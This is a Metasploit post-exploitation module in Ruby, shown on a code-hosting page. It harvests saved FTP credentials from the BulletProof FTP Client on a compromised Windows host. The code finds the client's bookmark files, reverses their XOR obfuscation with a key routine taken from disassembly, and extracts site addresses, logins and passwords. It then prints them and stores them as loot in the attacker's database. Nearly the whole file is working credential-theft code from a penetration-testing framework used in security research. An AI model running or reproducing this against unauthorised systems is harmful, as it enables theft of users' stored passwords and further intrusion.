Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/bulletproof_ftp.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::File
9
include Msf::Post::Windows::UserProfiles
10
include Msf::Post::Windows::Registry
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
17
'Description' => %q{
18
This module extracts information from BulletProof FTP Bookmarks files and store
19
retrieved credentials in the database.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'juan vazquez'],
23
'Platform' => [ 'win' ],
24
'SessionTypes' => [ 'meterpreter' ],
25
'Notes' => {
26
'Stability' => [CRASH_SAFE],
27
'SideEffects' => [],
28
'Reliability' => []
29
},
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
stdapi_sys_config_getenv
34
]
35
}
36
}
37
)
38
)
39
end
40
41
class BookmarksParser
42
43
# Array of entries found after parsing a Bookmarks File
44
attr_accessor :entries
45
46
def initialize(contents)
47
@xor_key = nil
48
@contents_bookmark = contents
49
@entries = []
50
end
51
52
def parse_bookmarks
53
if !parse_header
54
return
55
end
56
57
until @contents_bookmark.empty?
58
parse_entry
59
@contents_bookmark.slice!(0, 25) # 25 null bytes between entries
60
end
61
end
62
63
private
64
65
def low_dword(value)
66
return Rex::Text.pack_int64le(value).unpack('VV')[0]
67
end
68
69
def high_dword(value)
70
return Rex::Text.pack_int64le(value).unpack('VV')[1]
71
end
72
73
def low_byte(value)
74
return [value].pack('V').unpack('C*')[0]
75
end
76
77
def generate_xor_key
78
# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
79
# .text:007B13C1 mov eax, 100h
80
# ... later
81
# .text:0040381F imul edx, dword_7EF008[ebx], 8088405h
82
# .text:00403829 inc edx
83
# .text:0040382A mov dword_7EF008[ebx], edx
84
# .text:00403830 mul edx
85
temp = @xor_key * 0x8088405
86
temp = low_dword(temp)
87
temp += 1
88
@xor_key = temp
89
result = temp * 0x100
90
result = high_dword(result)
91
result = low_byte(result)
92
return result
93
end
94
95
def decrypt(encrypted)
96
length = encrypted.unpack('C')[0]
97
return '' if length.nil?
98
99
@xor_key = length
100
encrypted = encrypted[1..length]
101
return '' if encrypted.length != length
102
103
decrypted = ''
104
encrypted.unpack('C*').each do |byte|
105
key = generate_xor_key
106
decrypted << [byte ^ key].pack('C')
107
end
108
return decrypted
109
end
110
111
def parse_object
112
object_length = @contents_bookmark[0, 1].unpack('C')[0]
113
object = @contents_bookmark[0, object_length + 1]
114
@contents_bookmark.slice!(0, object_length + 1)
115
content = decrypt(object)
116
return content
117
end
118
119
def parse_entry
120
site_name = parse_object
121
site_address = parse_object
122
login = parse_object
123
remote_dir = parse_object
124
local_dir = parse_object
125
port = parse_object
126
password = parse_object
127
128
@entries << {
129
site_name: site_name,
130
site_address: site_address,
131
login: login,
132
remote_dir: remote_dir,
133
local_dir: local_dir,
134
port: port,
135
password: password
136
}
137
end
138
139
def parse_header
140
signature = parse_object
141
if !signature.eql?('BPSitelist')
142
return false # Error!
143
end
144
145
unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
146
return false unless unknown == "\x01\x00\x00\x00"
147
148
return true
149
end
150
end
151
152
def check_installation
153
bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'
154
bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)
155
156
return false if bullet_reg_ver.nil?
157
158
bullet_reg_ver.each do |key|
159
if key =~ /BulletProof FTP Client/
160
return true
161
end
162
end
163
return false
164
end
165
166
def get_bookmarks(path)
167
bookmarks = []
168
169
if !directory?(path)
170
return bookmarks
171
end
172
173
session.fs.dir.foreach(path) do |entry|
174
if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')
175
bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
176
elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")
177
vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
178
bookmarks << "#{path}\\#{entry}"
179
end
180
end
181
return bookmarks
182
end
183
184
def check_bulletproof(user_dir)
185
session.fs.dir.foreach(user_dir) do |directory|
186
if directory =~ /BulletProof Software/
187
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
188
return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
189
end
190
end
191
return nil
192
end
193
194
def report_findings(entries)
195
entries.each do |entry|
196
@credentials << [
197
entry[:site_name],
198
entry[:site_address],
199
entry[:port],
200
entry[:login],
201
entry[:password],
202
entry[:remote_dir],
203
entry[:local_dir]
204
]
205
206
service_data = {
207
address: Rex::Socket.getaddress(entry[:site_address]),
208
port: entry[:port],
209
protocol: 'tcp',
210
service_name: 'ftp',
211
workspace_id: myworkspace_id
212
}
213
214
credential_data = {
215
origin_type: :session,
216
session_id: session_db_id,
217
post_reference_name: refname,
218
username: entry[:login],
219
private_data: entry[:password],
220
private_type: :password
221
}
222
223
credential_core = create_credential(credential_data.merge(service_data))
224
225
login_data = {
226
core: credential_core,
227
access_level: 'User',
228
status: Metasploit::Model::Login::Status::UNTRIED
229
}
230
231
create_credential_login(login_data.merge(service_data))
232
end
233
end
234
235
def run
236
print_status('Checking if BulletProof FTP Client is installed...')
237
if !check_installation
238
print_error("BulletProof FTP Client isn't installed")
239
return
240
end
241
242
print_status('Searching BulletProof FTP Client Data directories...')
243
# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
244
profiles = grab_user_profiles
245
bullet_paths = []
246
profiles.each do |user|
247
next if user['LocalAppData'].nil?
248
249
bulletproof_dir = check_bulletproof(user['LocalAppData'])
250
bullet_paths << bulletproof_dir if bulletproof_dir
251
end
252
253
print_status('Searching BulletProof FTP Client installation directory...')
254
# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
255
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
256
progfilesx86 = progfiles_env['ProgramFiles(X86)']
257
if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
258
program_files = progfilesx86 # x64
259
else
260
program_files = progfiles_env['ProgramFiles'] # x86
261
end
262
263
session.fs.dir.foreach(program_files) do |dir|
264
if dir =~ /BulletProof FTP Client/
265
vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
266
bullet_paths << "#{program_files}\\#{dir}"
267
end
268
end
269
270
if bullet_paths.empty?
271
print_error('BulletProof FTP Client directories not found.')
272
return
273
end
274
275
print_status('Searching for BulletProof FTP Client Bookmarks files...')
276
bookmarks = []
277
bullet_paths.each do |path|
278
bookmarks.concat(get_bookmarks(path))
279
end
280
if bookmarks.empty?
281
print_error('BulletProof FTP Client Bookmarks files not found.')
282
return
283
end
284
285
print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')
286
entries = []
287
bookmarks.each do |bookmark|
288
p = BookmarksParser.new(read_file(bookmark))
289
p.parse_bookmarks
290
if !p.entries.empty?
291
entries.concat(p.entries)
292
else
293
vprint_error("Entries not found on #{bookmark}")
294
end
295
end
296
297
if entries.empty?
298
print_error('BulletProof FTP Client Bookmarks not found.')
299
return
300
end
301
302
# Report / Show findings
303
@credentials = Rex::Text::Table.new(
304
'Header' => 'BulletProof FTP Client Bookmarks',
305
'Indent' => 1,
306
'Columns' =>
307
[
308
'Site Name',
309
'Site Address',
310
'Port',
311
'Login',
312
'Password',
313
'Remote Dir',
314
'Local Dir'
315
]
316
)
317
318
report_findings(entries)
319
results = @credentials.to_s
320
321
print_line("\n" + results + "\n")
322
323
if !@credentials.rows.empty?
324
p = store_loot(
325
'bulletproof.creds',
326
'text/plain',
327
session,
328
@credentials.to_csv,
329
'bulletproof.creds.csv',
330
'BulletProof Credentials'
331
)
332
print_status("Data stored in: #{p}")
333
end
334
end
335
end
336
337